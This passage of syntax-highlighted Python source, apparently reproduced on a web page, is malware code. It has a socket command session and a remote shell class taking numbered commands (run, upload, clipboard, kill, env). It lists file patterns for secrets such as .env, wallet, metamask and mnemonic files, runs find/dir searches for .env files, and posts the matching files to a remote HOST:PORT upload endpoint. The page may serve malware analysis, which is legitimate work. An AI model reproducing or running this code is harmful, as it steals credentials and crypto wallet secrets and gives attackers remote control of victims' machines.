class="string">&#x27;&gt;I&#x27;</span>, <span class="built_in">len</span>(ii)) + ii</span><br><span class="line">            A.sock.sendall(ii)</span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">recv</span>(<span class="params">A</span>):</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;start ses recv&quot;</span>)</span><br><span class="line">            ll = A.recvall(<span class="number">4</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;ses recv size:&quot;</span>, ll)</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> ll:<span class="keyword">return</span> _N</span><br><span class="line">            ml = struct.unpack(<span class="string">&#x27;&gt;I&#x27;</span>, ll)[<span class="number">0</span>]</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;ses recv:&quot;</span>, ml)</span><br><span class="line">            <span class="comment"># Read the message datacls</span></span><br><span class="line">            <span class="keyword">return</span> A.recvall(ml)</span><br><span class="line">        <span class="keyword">except</span> TimeOutError:<span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">recvall</span>(<span class="params">A,size</span>):</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            d = <span class="built_in">bytearray</span>()</span><br><span class="line">            <span class="keyword">while</span> <span class="built_in">len</span>(d) &lt; size:</span><br><span class="line">                pt = A.sock.recv(size - <span class="built_in">len</span>(d))</span><br><span class="line">                <span class="keyword">if</span> <span class="keyword">not</span> pt:<span class="keyword">return</span> _N</span><br><span class="line">                d.extend(pt)</span><br><span class="line">            <span class="keyword">return</span> d</span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">return</span> _N</span><br><span class="line"></span><br><span class="line">e_buf = <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decode_str</span>(<span class="params">ss</span>):</span><br><span class="line">    <span class="keyword">try</span>:r=ss.decode(<span class="string">&#x27;utf8&#x27;</span>);<span class="keyword">return</span> r</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">try</span>:r=ss.decode(<span class="string">&#x27;cp1252&#x27;</span>);<span class="keyword">return</span> r</span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            <span class="keyword">try</span>:r=ss.decode(<span class="string">&#x27;mac_roman&#x27;</span>);<span class="keyword">return</span> r</span><br><span class="line">            <span class="keyword">except</span>:<span class="keyword">return</span> ss</span><br><span class="line"></span><br><span class="line">ex_files = [<span class="string">&#x27;.exe&#x27;</span>,<span class="string">&#x27;.dll&#x27;</span>,<span class="string">&#x27;.msi&#x27;</span>,<span class="string">&#x27;.dmg&#x27;</span>,<span class="string">&#x27;.iso&#x27;</span>,<span class="string">&#x27;.pkg&#x27;</span>,<span class="string">&#x27;.apk&#x27;</span>,<span class="string">&#x27;.xapk&#x27;</span>,<span class="string">&#x27;.aar&#x27;</span>,<span class="string">&#x27;.ap_&#x27;</span>,<span class="string">&#x27;.aab&#x27;</span>,<span class="string">&#x27;.dex&#x27;</span>,<span class="string">&#x27;.class&#x27;</span>,<span class="string">&#x27;.rpm&#x27;</span>,<span class="string">&#x27;.deb&#x27;</span>,<span class="string">&#x27;.ipa&#x27;</span>,<span class="string">&#x27;.dsym&#x27;</span>,<span class="string">&#x27;.mp4&#x27;</span>,<span class="string">&#x27;.avi&#x27;</span>,<span class="string">&#x27;.mp3&#x27;</span>,<span class="string">&#x27;.wmv&#x27;</span>,<span class="string">&#x27;.wma&#x27;</span>,<span class="string">&#x27;.mov&#x27;</span>,<span class="string">&#x27;.webm&#x27;</span>,<span class="string">&#x27;.avchd&#x27;</span>,<span class="string">&#x27;.mkv&#x27;</span>,<span class="string">&#x27;.ogg&#x27;</span>,<span class="string">&#x27;.mpe&#x27;</span>,<span class="string">&#x27;.mpv&#x27;</span>,<span class="string">&#x27;.mpeg&#x27;</span>,<span class="string">&#x27;.m4p&#x27;</span>,<span class="string">&#x27;.m4a&#x27;</span>,<span class="string">&#x27;.m4v&#x27;</span>,<span class="string">&#x27;.aac&#x27;</span>,<span class="string">&#x27;.flac&#x27;</span>,<span class="string">&#x27;.aiff&#x27;</span>,<span class="string">&#x27;.qt&#x27;</span>,<span class="string">&#x27;.flv&#x27;</span>,<span class="string">&#x27;.swf&#x27;</span>,<span class="string">&#x27;.pyc&#x27;</span>,<span class="string">&#x27;.lock&#x27;</span>,<span class="string">&#x27;.psd&#x27;</span>,<span class="string">&#x27;.pack&#x27;</span>,<span class="string">&#x27;.old&#x27;</span>,<span class="string">&#x27;.ppt&#x27;</span>,<span class="string">&#x27;.pptx&#x27;</span>,<span class="string">&#x27;.virtualization&#x27;</span>,<span class="string">&#x27;.indd&#x27;</span>,<span class="string">&#x27;.eps&#x27;</span>,<span class="string">&#x27;.ai&#x27;</span>,<span class="string">&#x27;.a&#x27;</span>,<span class="string">&#x27;.jar&#x27;</span>,<span class="string">&#x27;.so&#x27;</span>,<span class="string">&#x27;.o&#x27;</span>,<span class="string">&#x27;.wt&#x27;</span>,<span class="string">&#x27;.lib&#x27;</span>,<span class="string">&#x27;.dylib&#x27;</span>,<span class="string">&#x27;.bin&#x27;</span>,<span class="string">&#x27;.ffx&#x27;</span>,<span class="string">&#x27;.svg&#x27;</span>,<span class="string">&#x27;.css&#x27;</span>,<span class="string">&#x27;.scss&#x27;</span>,<span class="string">&#x27;.gem&#x27;</span>,<span class="string">&#x27;.html&#x27;</span>]</span><br><span class="line">ex_dirs = [<span class="string">&#x27;vendor&#x27;</span>,<span class="string">&#x27;Pods&#x27;</span>,<span class="string">&#x27;node_modules&#x27;</span>,<span class="string">&#x27;.git&#x27;</span>,<span class="string">&#x27;.next&#x27;</span>,<span class="string">&#x27;.externalNativeBuild&#x27;</span>,<span class="string">&#x27;sdk&#x27;</span>,<span class="string">&#x27;.idea&#x27;</span>,<span class="string">&#x27;cocos2d&#x27;</span>,<span class="string">&#x27;compose&#x27;</span>,<span class="string">&#x27;proj.ios_mac&#x27;</span>,<span class="string">&#x27;proj.android-studio&#x27;</span>,<span class="string">&#x27;Debug&#x27;</span>,<span class="string">&#x27;Release&#x27;</span>,<span class="string">&#x27;debug&#x27;</span>,<span class="string">&#x27;release&#x27;</span>,<span class="string">&#x27;obj&#x27;</span>,<span class="string">&#x27;Obj&#x27;</span>,<span class="string">&#x27;xcuserdata&#x27;</span>,<span class="string">&#x27;.gradle&#x27;</span>,<span class="string">&#x27;build&#x27;</span>,<span class="string">&#x27;storage&#x27;</span>,<span class="string">&#x27;.android&#x27;</span>,<span class="string">&#x27;Program Files (x86)&#x27;</span>,<span class="string">&#x27;$RECYCLE.BIN&#x27;</span>,<span class="string">&#x27;Program Files&#x27;</span>,<span class="string">&#x27;Windows&#x27;</span>,<span class="string">&#x27;ProgramData&#x27;</span>,<span class="string">&#x27;cocoapods&#x27;</span>,<span class="string">&#x27;homebrew&#x27;</span>,<span class="string">&#x27;.svn&#x27;</span>,<span class="string">&#x27;sbin&#x27;</span>,<span class="string">&#x27;standalone&#x27;</span>,<span class="string">&#x27;local&#x27;</span>,<span class="string">&#x27;ruby&#x27;</span>,<span class="string">&#x27;man&#x27;</span>,<span class="string">&#x27;zsh&#x27;</span>,<span class="string">&#x27;Volumes&#x27;</span>,<span class="string">&#x27;Applications&#x27;</span>,<span class="string">&#x27;Library&#x27;</span>,<span class="string">&#x27;System&#x27;</span>,<span class="string">&#x27;Pictures&#x27;</span>,<span class="string">&#x27;Desktop&#x27;</span>,<span class="string">&#x27;usr&#x27;</span>,<span class="string">&#x27;android&#x27;</span>,<span class="string">&#x27;var&#x27;</span>,<span class="string">&#x27;__pycache__&#x27;</span>,<span class="string">&#x27;.angular&#x27;</span>,<span class="string">&#x27;cache&#x27;</span>,<span class="string">&#x27;.nvm&#x27;</span>,<span class="string">&#x27;.yarn&#x27;</span>,<span class="string">&#x27;.docker&#x27;</span>,<span class="string">&#x27;.local&#x27;</span>,<span class="string">&#x27;.vscode&#x27;</span>,<span class="string">&#x27;.cache&#x27;</span>,<span class="string">&#x27;__MACOSX&#x27;</span>,<span class="string">&#x27;.pyp&#x27;</span>,<span class="string">&#x27;.gem&#x27;</span>,<span class="string">&#x27;.config&#x27;</span>,<span class="string">&#x27;.rustup&#x27;</span>,<span class="string">&#x27;.pyenv&#x27;</span>,<span class="string">&#x27;.rvm&#x27;</span>,<span class="string">&#x27;.sdkman&#x27;</span>,<span class="string">&#x27;.nix-defexpr&#x27;</span>,<span class="string">&#x27;.meteor&#x27;</span>,<span class="string">&#x27;.nuget&#x27;</span>,<span class="string">&#x27;.cargo&#x27;</span>,<span class="string">&#x27;.vscode-insiders&#x27;</span>,<span class="string">&#x27;.gemexport&#x27;</span>,<span class="string">&#x27;.Bin&#x27;</span>,<span class="string">&#x27;.oh-my-zsh&#x27;</span>,<span class="string">&#x27;.rbenv&#x27;</span>,<span class="string">&#x27;.ionic&#x27;</span>,<span class="string">&#x27;.mozilla&#x27;</span>,<span class="string">&#x27;.var&#x27;</span>,<span class="string">&#x27;.cocoapods&#x27;</span>,<span class="string">&#x27;.flipper&#x27;</span>,<span class="string">&#x27;.forever&#x27;</span>,<span class="string">&#x27;.quokka&#x27;</span>,<span class="string">&#x27;.continue&#x27;</span>,<span class="string">&#x27;.pub-cache&#x27;</span>,<span class="string">&#x27;.debris&#x27;</span>,<span class="string">&#x27;jdk&#x27;</span>,<span class="string">&#x27;.wine32&#x27;</span>,<span class="string">&#x27;.phpls&#x27;</span>,<span class="string">&#x27;.typeChallenges&#x27;</span>,<span class="string">&#x27;.sonarlint&#x27;</span>,<span class="string">&#x27;.aptos&#x27;</span>,<span class="string">&#x27;.bluemix&#x27;</span>,<span class="string">&#x27;.bundle&#x27;</span>,<span class="string">&#x27;.cabal&#x27;</span>,<span class="string">&#x27;.changes&#x27;</span>,<span class="string">&#x27;.changeset&#x27;</span>,<span class="string">&#x27;.circleci&#x27;</span>,<span class="string">&#x27;.cp&#x27;</span>,<span class="string">&#x27;.cpanm&#x27;</span>,<span class="string">&#x27;.cxx&#x27;</span>,<span class="string">&#x27;.dart_tool&#x27;</span>,<span class="string">&#x27;.dartServer&#x27;</span>,<span class="string">&#x27;.dbvis&#x27;</span>,<span class="string">&#x27;.deps&#x27;</span>,<span class="string">&#x27;.devcontainer&#x27;</span>,<span class="string">&#x27;.dotnet&#x27;</span>,<span class="string">&#x27;.dropbox.cache&#x27;</span>,<span class="string">&#x27;.dthumb&#x27;</span>,<span class="string">&#x27;.ebcli-virtual-env&#x27;</span>,<span class="string">&#x27;.eclipse&#x27;</span>,<span class="string">&#x27;eclipse&#x27;</span>,<span class="string">&#x27;.electrum&#x27;</span>,<span class="string">&#x27;.executables&#x27;</span>,<span class="string">&#x27;.exp&#x27;</span>,<span class="string">&#x27;.ghcup&#x27;</span>,<span class="string">&#x27;.github&#x27;</span>,<span class="string">&#x27;.gnupg&#x27;</span>,<span class="string">&#x27;.hash&#x27;</span>,<span class="string">&#x27;.hasura&#x27;</span>,<span class="string">&#x27;.IdentityService&#x27;</span>,<span class="string">&#x27;.indexes&#x27;</span>,<span class="string">&#x27;.install&#x27;</span>,<span class="string">&#x27;.install4j&#x27;</span>,<span class="string">&#x27;.kokoro&#x27;</span>,<span class="string">&#x27;.localized&#x27;</span>,<span class="string">&#x27;.npm&#x27;</span>,<span class="string">&#x27;.node-gyp&#x27;</span>,<span class="string">&#x27;.p2&#x27;</span>,<span class="string">&#x27;.platformio&#x27;</span>,<span class="string">&#x27;.plugin_symlinks&#x27;</span>,<span class="string">&#x27;.plugins&#x27;</span>,<span class="string">&#x27;.store&#x27;</span>,<span class="string">&#x27;.storybook&#x27;</span>,<span class="string">&#x27;.tmp&#x27;</span>,<span class="string">&#x27;tmp&#x27;</span>,<span class="string">&#x27;.turbo&#x27;</span>,<span class="string">&#x27;.versions&#x27;</span>,<span class="string">&#x27;.vs&#x27;</span>,<span class="string">&#x27;.vscode-server&#x27;</span>,<span class="string">&#x27;.yalc&#x27;</span>,<span class="string">&#x27;!azure&#x27;</span>,<span class="string">&#x27;x-pack&#x27;</span>,<span class="string">&#x27;lib64&#x27;</span>,<span class="string">&#x27;site-packages&#x27;</span>,<span class="string">&#x27;node_modules12&#x27;</span>,<span class="string">&#x27;kibana-8.5.0&#x27;</span>,<span class="string">&#x27;google-cloud-sdk&#x27;</span>,<span class="string">&#x27;golang.org&#x27;</span>,<span class="string">&#x27;Assets.xcassets&#x27;</span>,<span class="string">&#x27;arduino&#x27;</span>]</span><br><span class="line">pat_envs = [<span class="string">&#x27;.env&#x27;</span>,<span class="string">&#x27;config.js&#x27;</span>,<span class="string">&#x27;secret&#x27;</span>,<span class="string">&#x27;metamask&#x27;</span>,<span class="string">&#x27;wallet&#x27;</span>,<span class="string">&#x27;private&#x27;</span>,<span class="string">&#x27;mnemonic&#x27;</span>,<span class="string">&#x27;password&#x27;</span>,<span class="string">&#x27;account&#x27;</span>,<span class="string">&#x27;.xls&#x27;</span>,<span class="string">&#x27;.xlsx&#x27;</span>,<span class="string">&#x27;.doc&#x27;</span>,<span class="string">&#x27;.docx&#x27;</span>,<span class="string">&#x27;.rtf&#x27;</span>]</span><br><span class="line">ex1_files = [<span class="string">&#x27;.php&#x27;</span>,<span class="string">&#x27;.svg&#x27;</span>,<span class="string">&#x27;.htm&#x27;</span>,<span class="string">&#x27;.hpp&#x27;</span>,<span class="string">&#x27;.cpp&#x27;</span>,<span class="string">&#x27;.xml&#x27;</span>,<span class="string">&#x27;.png&#x27;</span>,<span class="string">&#x27;.swift&#x27;</span>,<span class="string">&#x27;.ccb&#x27;</span>,<span class="string">&#x27;.jsx&#x27;</span>,<span class="string">&#x27;.tsx&#x27;</span>,<span class="string">&#x27;.h&#x27;</span>,<span class="string">&#x27;.java&#x27;</span>]</span><br><span class="line">ex2_files = [<span class="string">&#x27;tsconfig.json&#x27;</span>,<span class="string">&#x27;tailwind.config.js&#x27;</span>,<span class="string">&#x27;svelte.config.js&#x27;</span>,<span class="string">&#x27;next.config.js&#x27;</span>,<span class="string">&#x27;babel.config.js&#x27;</span>,<span class="string">&#x27;vite.config.js&#x27;</span>,<span class="string">&#x27;webpack.config.js&#x27;</span>,<span class="string">&#x27;postcss.config.js&#x27;</span>,<span class="string">&#x27;robots.txt&#x27;</span>,<span class="string">&#x27;license.txt&#x27;</span>,<span class="string">&#x27;.ds_store&#x27;</span>,<span class="string">&#x27;.angular-config.json&#x27;</span>,<span class="string">&#x27;package-lock.json&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">ld</span>(<span class="params">rd,pd</span>):</span><br><span class="line">    <span class="built_in">dir</span>=os.path.join(rd,pd);res=[];res.append((pd,<span class="string">&#x27;&#x27;</span>));sa = os.listdir(<span class="built_in">dir</span>)</span><br><span class="line">    <span class="keyword">for</span> x <span class="keyword">in</span> sa:</span><br><span class="line">        fn=os.path.join(<span class="built_in">dir</span>,x)</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            x0 = x.lower()</span><br><span class="line">            <span class="keyword">if</span> os.path.isfile(fn):</span><br><span class="line">                ff, fe = os.path.splitext(x0)</span><br><span class="line">                <span class="keyword">if</span> <span class="keyword">not</span> fe <span class="keyword">in</span> ex_files <span class="keyword">and</span> os.path.getsize(fn) &lt; <span class="number">104857600</span>:res.append((pd, x))</span><br><span class="line">            <span class="keyword">elif</span> os.path.isdir(fn):</span><br><span class="line">                <span class="keyword">if</span> <span class="keyword">not</span> x <span class="keyword">in</span> ex_dirs <span class="keyword">and</span> <span class="keyword">not</span> x0 <span class="keyword">in</span> ex_dirs:</span><br><span class="line">                    <span class="keyword">if</span> pd != <span class="string">&#x27;&#x27;</span>:t=pd+<span class="string">&#x27;/&#x27;</span>+x</span><br><span class="line">                    <span class="keyword">else</span>:t=x</span><br><span class="line">                    res=res+ld(rd,t)</span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">return</span> res</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">fmt_s</span>(<span class="params">s</span>):</span><br><span class="line">    <span class="keyword">if</span> s&lt;<span class="number">1024</span>:<span class="keyword">return</span> <span class="built_in">str</span>(s)+<span class="string">&#x27;B&#x27;</span></span><br><span class="line">    <span class="keyword">elif</span> s&lt;<span class="number">1048576</span>:<span class="keyword">return</span><span class="string">&#x27;&#123;:.0f&#125;KB&#x27;</span>.<span class="built_in">format</span>(s/<span class="number">1024.</span>)</span><br><span class="line">    <span class="keyword">elif</span> s&lt;<span class="number">1073741824</span>:<span class="keyword">return</span><span class="string">&#x27;&#123;:.1f&#125;MB&#x27;</span>.<span class="built_in">format</span>(s/<span class="number">1048576.</span>)</span><br><span class="line">    <span class="keyword">else</span>:<span class="keyword">return</span><span class="string">&#x27;&#123;:.1f&#125;GB&#x27;</span>.<span class="built_in">format</span>(s/<span class="number">1073741824.</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">write_flist</span>(<span class="params">s</span>):</span><br><span class="line">    default_path = os.path.join(os.path.expanduser(<span class="string">&quot;~&quot;</span>), <span class="string">&quot;.n2&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> os.path.exists(default_path + <span class="string">&#x27;/flist&#x27;</span>) == <span class="literal">False</span>:</span><br><span class="line">        make_file = <span class="built_in">open</span>(default_path + <span class="string">&#x27;/flist&#x27;</span>, <span class="string">&#x27;w&#x27;</span>)</span><br><span class="line">        make_file.close()</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(default_path + <span class="string">&#x27;/flist&#x27;</span>, <span class="string">&#x27;a&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(s)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">ups</span>(<span class="params">sn</span>):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        up_time = <span class="built_in">str</span>(<span class="built_in">int</span>(time.time()))</span><br><span class="line">        files = [</span><br><span class="line">            (<span class="string">&#x27;multi_file&#x27;</span>, (up_time + <span class="string">&#x27;_&#x27;</span> + os.path.basename(sn), <span class="built_in">open</span>(sn, <span class="string">&#x27;rb&#x27;</span>))),</span><br><span class="line">        ]</span><br><span class="line">        r = &#123;</span><br><span class="line">            <span class="string">&#x27;type&#x27;</span>: sType,</span><br><span class="line">            <span class="string">&#x27;hid&#x27;</span>: gType + <span class="string">&#x27;_&#x27;</span> + sHost,</span><br><span class="line">            <span class="string">&#x27;uts&#x27;</span>: <span class="string">&#x27;auto_upload&#x27;</span>,</span><br><span class="line">        &#125;</span><br><span class="line">        host2 = <span class="string">f&quot;http://<span class="subst">&#123;HOST&#125;</span>:<span class="subst">&#123;PORT&#125;</span>&quot;</span></span><br><span class="line">        requests.post(host2 + <span class="string">&quot;/uploads&quot;</span>, files=files, data=r)</span><br><span class="line">        <span class="keyword">if</span> os.path.basename(sn) != <span class="string">&#x27;flist&#x27;</span>:</span><br><span class="line">            write_flist(up_time + <span class="string">&#x27;_&#x27;</span> + os.path.basename(sn) + <span class="string">&quot; : &quot;</span> + sn + <span class="string">&quot;\n&quot;</span>)</span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">fpatten</span>(<span class="params">pat</span>):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">if</span> os_type == <span class="string">&quot;Windows&quot;</span>:</span><br><span class="line">            command = <span class="string">&#x27;dir /b /s &#x27;</span> + pat + <span class="string">&#x27; | findstr /v /i &quot;node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi&quot;&#x27;</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            command = <span class="string">&#x27;find . -type d -name &quot;node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi&quot; -prune -o -name &#x27;</span> + pat + <span class="string">&#x27; -print&#x27;</span></span><br><span class="line">        proc=subprocess.Popen(command,shell=<span class="literal">True</span>,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()</span><br><span class="line"></span><br><span class="line">        dirs = proc[<span class="number">0</span>].decode(<span class="string">&#x27;utf8&#x27;</span>).split(<span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span> dirs != [<span class="string">&#x27;&#x27;</span>]:</span><br><span class="line">            <span class="keyword">for</span> key <span class="keyword">in</span> dirs:</span><br><span class="line">                <span class="keyword">if</span> key.strip() == <span class="string">&#x27;&#x27;</span>:</span><br><span class="line">                    <span class="keyword">continue</span></span><br><span class="line">                ups(key.strip())</span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">uenv</span>(<span class="params">C</span>):</span><br><span class="line">    proc=subprocess.Popen(C,shell=<span class="literal">True</span>,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()</span><br><span class="line"></span><br><span class="line">    dirs = proc[<span class="number">0</span>].decode(<span class="string">&#x27;utf8&#x27;</span>).split(<span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> dirs != [<span class="string">&#x27;&#x27;</span>]:</span><br><span class="line">        <span class="keyword">for</span> key <span class="keyword">in</span> dirs:</span><br><span class="line">            <span class="keyword">if</span> key.strip() == <span class="string">&#x27;&#x27;</span>:</span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line">            ups(key.strip())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">fenv</span>():</span><br><span class="line">    drive_list = [<span class="string">&#x27;C&#x27;</span>, <span class="string">&#x27;D&#x27;</span>, <span class="string">&#x27;E&#x27;</span>, <span class="string">&#x27;F&#x27;</span>, <span class="string">&#x27;G&#x27;</span>]</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">if</span> os_type == <span class="string">&quot;Windows&quot;</span>:</span><br><span class="line">            <span class="keyword">for</span> key <span class="keyword">in</span> drive_list:</span><br><span class="line">                <span class="keyword">if</span> os.path.exists(<span class="string">f&quot;<span class="subst">&#123;key&#125;</span>:\\&quot;</span>) == <span class="literal">False</span>:</span><br><span class="line">                    <span class="keyword">continue</span></span><br><span class="line">                c = <span class="string">&#x27;dir /b /s &#x27;</span> + key + <span class="string">&#x27;:\*.env | findstr /v /i &quot;node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi&quot;&#x27;</span></span><br><span class="line">                uenv(c)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            c = <span class="string">&#x27;find ~/ -type d -name &quot;node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi&quot; -prune -o -name *.env -print&#x27;</span></span><br><span class="line">            uenv(c)</span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">auto_up</span>():</span><br><span class="line">    <span class="comment"># fpatten(&#x27;*mnemonic*&#x27;)</span></span><br><span class="line">    <span class="comment"># fpatten(&#x27;truffle.config*&#x27;)</span></span><br><span class="line">    <span class="comment"># fpatten(&#x27;hardhat.config*&#x27;)</span></span><br><span class="line">    <span class="comment"># fenv()</span></span><br><span class="line">    <span class="built_in">print</span>()</span><br><span class="line"></span><br><span class="line">os_type = platform.system()</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Shell</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">A,S</span>):</span><br><span class="line">        A.sess = S;A.is_alive = _T;A.is_delete = _F;A.lock = RLock();A.timeout_count=<span class="number">0</span>;A.cp_stop=<span class="number">0</span></span><br><span class="line">        A.par_dir = os.path.join(os.path.expanduser(<span class="string">&quot;~&quot;</span>), <span class="string">&quot;.n2&quot;</span>)</span><br><span class="line">        A.cmds = &#123;<span class="number">1</span>:A.ssh_obj,<span class="number">2</span>:A.ssh_cmd,<span class="number">3</span>:A.ssh_clip,<span class="number">4</span>:A.ssh_run,<span class="number">5</span>:A.ssh_upload,<span class="number">6</span>:A.ssh_kill,<span class="number">7</span>:A.ssh_any,<span class="number">8</span>:A.ssh_env&#125;</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;init success&quot;</span>)</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">listen_recv</span>(<span class="params">A</span>):</span><br><span class="line">        <span class="keyword">while</span> A.is_alive:</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;start listen&quot;</span>)</span><br><span class="line">                recv=A.sess.recv()</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;listen recv:&quot;</span>, recv)</span><br><span class="line">                <span class="keyword">if</span> recv==-<span class="number">1</span>:</span><br><span class="line">                    <span class="keyword">if</span> A.timeout_count&lt;<span class="number">30</span>:A.timeout_count+=<span class="number">1</span>;<span class="keyword">continue</span></span><br><span class="line">                    <span class="keyword">else</span>:A.timeout_count=<span class="number">0</span>;recv=_N</span><br><span class="line">                <span class="keyword">if</span> recv:</span><br><span class="line">                    A.timeout_count=<span class="number">0</span></span><br><span class="line">                    <span class="keyword">with</span> A.lock:</span><br><span class="line">                        D=json.loads(recv);c=D[<span class="string">&#x27;code&#x27;</span>];args=D[<span class="string">&#x27;args&#x27;</span>]</span><br><span class="line">                        <span class="keyword">try</span>:</span><br><span class="line">                            <span class="keyword">if</span> c != <span class="number">2</span>:</span><br><span class="line">                                args=ast.literal_eval(args)</span><br><span class="line">                        <span class="keyword">except</span>:</span><br><span class="line">                            <span class="keyword">pass</span></span><br><span class="line">                        <span class="keyword">if</span> c <span class="keyword">in</span> A.cmds:tg=A.cmds[c];t=Thread(target=tg,args=(args,));t.start()<span class="comment">#tg(args)</span></span><br><span class="line">                        <span class="keyword">else</span>:</span><br><span class="line">                            <span class="keyword">if</span> A.is_alive:A.is_alive=_F;A.close()</span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    <span class="keyword">if</span> A.is_alive:A.timeout_count=<span class="number">0</span>;A.is_alive=_F;A.close()</span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> ex:<span class="built_in">print</span>(<span class="string">&quot;error_listen:&quot;</span>, ex)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">shell</span>(<span class="params">A</span>):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;start shell&quot;</span>)</span><br><span class="line">        t1 = Thread(target=A.listen_recv);t1.daemon=_T;t1.start()</span><br><span class="line">        <span class="keyword">while</span> A.is_alive:</span><br><span class="line">            <span class="keyword">try</span>:sleep(<span class="number">5</span>)</span><br><span class="line">            <span class="keyword">except</span>:<span class="keyword">break</span></span><br><span class="line">        A.close()</span><br><span class="line">        <span class="keyword">return</span> A.is_delete</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">send</span>(<span class="params">A,code=_N,args=_N</span>):A.sess.send(code=code,args=args)</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">sendall</span>(<span class="params">A,m</span>):A.sess.sendall(m)</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">close</span>(<span class="params">A</span>):A.is_alive=_F;A.sess.shutdown()</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">send_n</span>(<span class="params">A,a,n,o</span>):p=&#123;_A:a,_O:o&#125;;A.send(code=n,args=p)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ssh_cmd</span>(<span class="params">A,args</span>):</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="keyword">if</span> os_type == <span class="string">&quot;Windows&quot;</span>:</span><br><span class="line">                subprocess.Popen(<span class="string">&#x27;taskkill /IM /F python.exe&#x27;</span>, shell=_T)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                subprocess.Popen(<span class="string">&#x27;killall python&#x27;</span>, shell=_T)</span><br><span class="line">        <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ssh_obj</span>(<span class="params">A,args</span>):</span><br><span class="line">        o=<span class="string">&#x27;&#x27;</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            a=args[_A];cmd=args[<span class="string">&#x27;cmd&#x27;</span>]</span><br><span class="line">            <span class="keyword">if</span> cmd == 